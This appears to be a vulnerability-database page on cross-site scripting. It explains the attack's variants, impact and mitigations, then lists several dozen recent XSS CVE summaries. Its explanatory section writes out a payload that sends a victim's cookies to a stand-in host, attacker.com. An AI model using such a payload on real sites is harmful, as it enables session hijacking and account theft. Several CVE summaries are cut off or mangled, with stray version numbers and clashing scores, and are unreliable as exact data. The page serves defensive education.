Skip to main content

Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40668)

EPSS 0% CVSS 6.4
MEDIUM POC This Month

Element Plus Link component (el-link) through 2.10.6 implements insufficient input validation for the href attribute, creating a security abstraction gap that obscures URL-based attack vectors. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Redirect Element Plus
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Cristiano Zanca WooCommerce Booking Bundle Hours allows Stored XSS.7.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF
NVD
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HasTech ShopLentor allows Stored XSS.2.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Shoplentor +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in silverplugins217 Dynamic Text Field For Contact Form 7 allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Joe Dolson My Tickets allows Stored XSS.0.22. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AntoineH Football Pool allows Stored XSS.12.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPFactory Additional Custom Product Tabs for WooCommerce allows Stored XSS.7.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nanbu Welcart e-Commerce allows Stored XSS.11.20. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Stefano Lissa Include Me allows Stored XSS.3.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pixeline Pixeline&#039;s Email Protector allows Stored XSS.3.8. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability exists in the WebAuthn Relying Party field within the Datacenter configuration of Proxmox Virtual Environment (PVE) 8.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Proxmox Virtual Environment
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the U2F Origin field of the Datacenter configuration in Proxmox Virtual Environment (PVE) 8.4 allows authenticated users to store malicious input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Proxmox Virtual Environment
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the HTTP Proxy field within the Datacenter configuration panel of Proxmox Virtual Environment (PVE) 8.4 allows an authenticated user to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Proxmox Virtual Environment
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager versions 6.5.23.0 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Adobe Experience Manager
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in solwin Blog Designer PRO.4.7. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in villatheme WooCommerce Photo Reviews.3.13. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Alexandre Froger WP Weixin allows Stored XSS.3.16. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Theme
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected text injection in Ivanti Connect Secure before 22.7R2.9 or 22.8R2, Ivanti Policy Secure before 22.7R1.6, Ivanti ZTA Gateway before 2.8R2.3-723 and Ivanti Neurons for Secure Access before. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ivanti Connect Secure +3
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in YesWiki v.4.54 allows a remote attacker to execute arbitrary code via a crafted payload to the meta configuration robots field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Yeswiki
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM PATCH Monitor

A Stored cross-site scripting vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q2.0 through 2025.Q2.9, 2025.Q1.0 through 2025.Q1.16, 2024.Q4.0 through 2024.Q4.7,. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Information Disclosure Digital Experience Platform +2
NVD
EPSS 0% CVSS 3.5
LOW POC Monitor

The AI ChatBot for WordPress WordPress plugin before 7.1.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The Wilmer Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 2.4.5 due to insufficient input sanitization and output escaping on. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Mikado Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping on. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH Monitor

A Stored cross-site scripting vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q2.0 through 2025.Q2.11, 2025.Q1.0 through 2025.Q1.16, 2024.Q4.0 through 2024.Q4.7,. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Due to a Cross-Site Scripting (XSS) vulnerability in the SAP NetWeaver ABAP Platform, an unauthenticated attacker could generate a malicious link and make it publicly accessible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Due to a Cross-Site Scripting (XSS) vulnerability in the SAP Supplier Relationship Management, an unauthenticated attacker could generate a malicious link and make it publicly accessible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS SAP Supplier Relationship Management
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A weakness has been identified in SourceCodester Simple To-Do List System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Simple To Do List System +1
NVD GitHub VulDB
EPSS 0% CVSS 9.0
CRITICAL Act Now

The Volkov Labs Business Links panel for Grafana provides an interface to navigate using external links, internal dashboards, time pickers, and dropdown menus. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Grafana
NVD GitHub
EPSS 0% CVSS 2.1
LOW POC Monitor

WeGIA is a Web manager for charitable institutions. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 8.6
HIGH PATCH This Month

The MCP inspector is a developer tool for testing and debugging MCP servers. Rated high severity (CVSS 8.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 1.7
LOW POC PATCH Monitor

Fides is an open-source privacy engineering platform. Rated low severity (CVSS 1.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available.

XSS Fides Ethyca
NVD GitHub
EPSS 0% CVSS 8.4
HIGH POC PATCH This Week

LinkAce is a self-hosted archive to collect website links. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Linkace
NVD GitHub
EPSS 0% CVSS 1.9
LOW POC Monitor

A weakness has been identified in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS I Educar +1
NVD GitHub VulDB
EPSS 0% CVSS 8.1
HIGH This Month

A cross-site scripting (XSS) vulnerability in Smart Search & Filter Shopify and BigCommerce apps allows a remote attacker to execute arbitrary JavaScript in the web browser of a user, by including a. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Smart Search And Filter
NVD GitHub
EPSS 0% CVSS 9.8
CRITICAL Act Now

Scholl Communications AG Weblication CMS Core v019.004.000.000 was discovered to contain a cross-site scripting (XSS) vulnerability. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Weblication Cms
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in WebWork, which allows remote attackers to execute arbitrary code through the 'q' and 'engine' request parameters in /search. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability stored in Multi-Purpose Inventory Management System, consisting of a stored XSS due to lack of proper validation of user input by sending a POST request using. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

'sanitize-html' prior to version 1.0.3 is vulnerable to Cross-site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Sanitize Html Apostrophecms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

`sanitize-html` prior to version 2.0.0-beta is vulnerable to Cross-site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Red Hat Sanitize Html +1
NVD GitHub
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was detected in SourceCodester Time Tracker 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Personal Time Tracker Rems
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A security flaw has been discovered in SourceCodester Online Polling System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Polling System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was identified in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS I Educar Portabilis
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A vulnerability was detected in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A security vulnerability has been detected in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A weakness has been identified in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A security flaw has been discovered in itsourcecode POS Point of Sale System 1.0.php. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A vulnerability was identified in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A vulnerability was detected in Campcodes Grocery Sales and Inventory System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Grocery Sales And Inventory System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A security flaw has been discovered in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was identified in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Recent Posts Widget Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rpwe' shortcode in all versions up to, and including, 2.0.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Admin Menu Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘placeholder’ parameter in all versions up to, and including, 1.14 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The StreamWeasels Kick Integration plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘vodsChannel’ parameter in all versions up to, and including, 1.1.5 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Smart Table Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ parameter in all versions up to, and including, 1.0.1 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Content Views plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Grid and List widgets in all versions up to, and including, 4.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The SKT Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple widgets in all versions up to, and including, 3.7 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The aThemes Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown widget in all versions up to, and including, 1.1.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Optio Dentistry plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'optio-lightbox' shortcode in all versions up to, and including, 2.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several of the plugin's widgets in all versions up to, and including, 1.5.5.1 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Html Social share buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'zm_sh_btn' shortcode in all versions up to, and including, 2.1.16 due to insufficient. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy Social Feed - Social Photos Gallery - Post Feed - Like Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `data-caption` and `data-linktext` parameters in all. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was determined in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.3
MEDIUM PATCH Monitor

A flaw was found in Keycloak. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Red Hat
NVD GitHub
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was found in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System +1
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Biagiotti Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 2.1.3 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brent Jett Assistant allows Reflected XSS.5.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vincent Boiardt Easy Flash Embed allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in ericzane Floating Window Music Player allows Stored XSS.4.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mulscully Today&#039;s Date Inserter allows Stored XSS.2.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in gourl GoUrl Bitcoin Payment Gateway &amp; Paid Downloads &amp; Membership allows Stored XSS.6.6. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Netcad NetGIS Server allows Reflected XSS.2.4 through 22.08.2025. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Course Finder | andré martin - it solutions & research UG Course Booking Platform allows Stored. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Tan Nguyen Instant Locations allows Stored XSS.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ivan Drago vipdrv allows Stored XSS.0.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Thomas Harris Search Cloud One allows Stored XSS.2.5. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in w1zzard Simple Text Slider allows Stored XSS.0.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in reubenthiessen Translate This gTranslate Shortcode allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ali Aghdam Aparat Video Shortcode allows Stored XSS.2.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Sudar Muthu WP Github Gist allows Stored XSS.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in josepsitjar StoryMap allows DOM-Based XSS.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pusheco Pushe Web Push Notification allows Stored XSS.5.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Luis Rock Master Paper Collapse Toggle allows Stored XSS.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in DeBAAT WP-GraphViz allows DOM-Based XSS.5.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Cross-Site Request Forgery (CSRF) vulnerability in Simasicher SimaCookie allows Stored XSS.3.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Simasicher SimaCookie allows Stored XSS.3.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Remi Corson Easy Download Media Counter allows Stored XSS.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

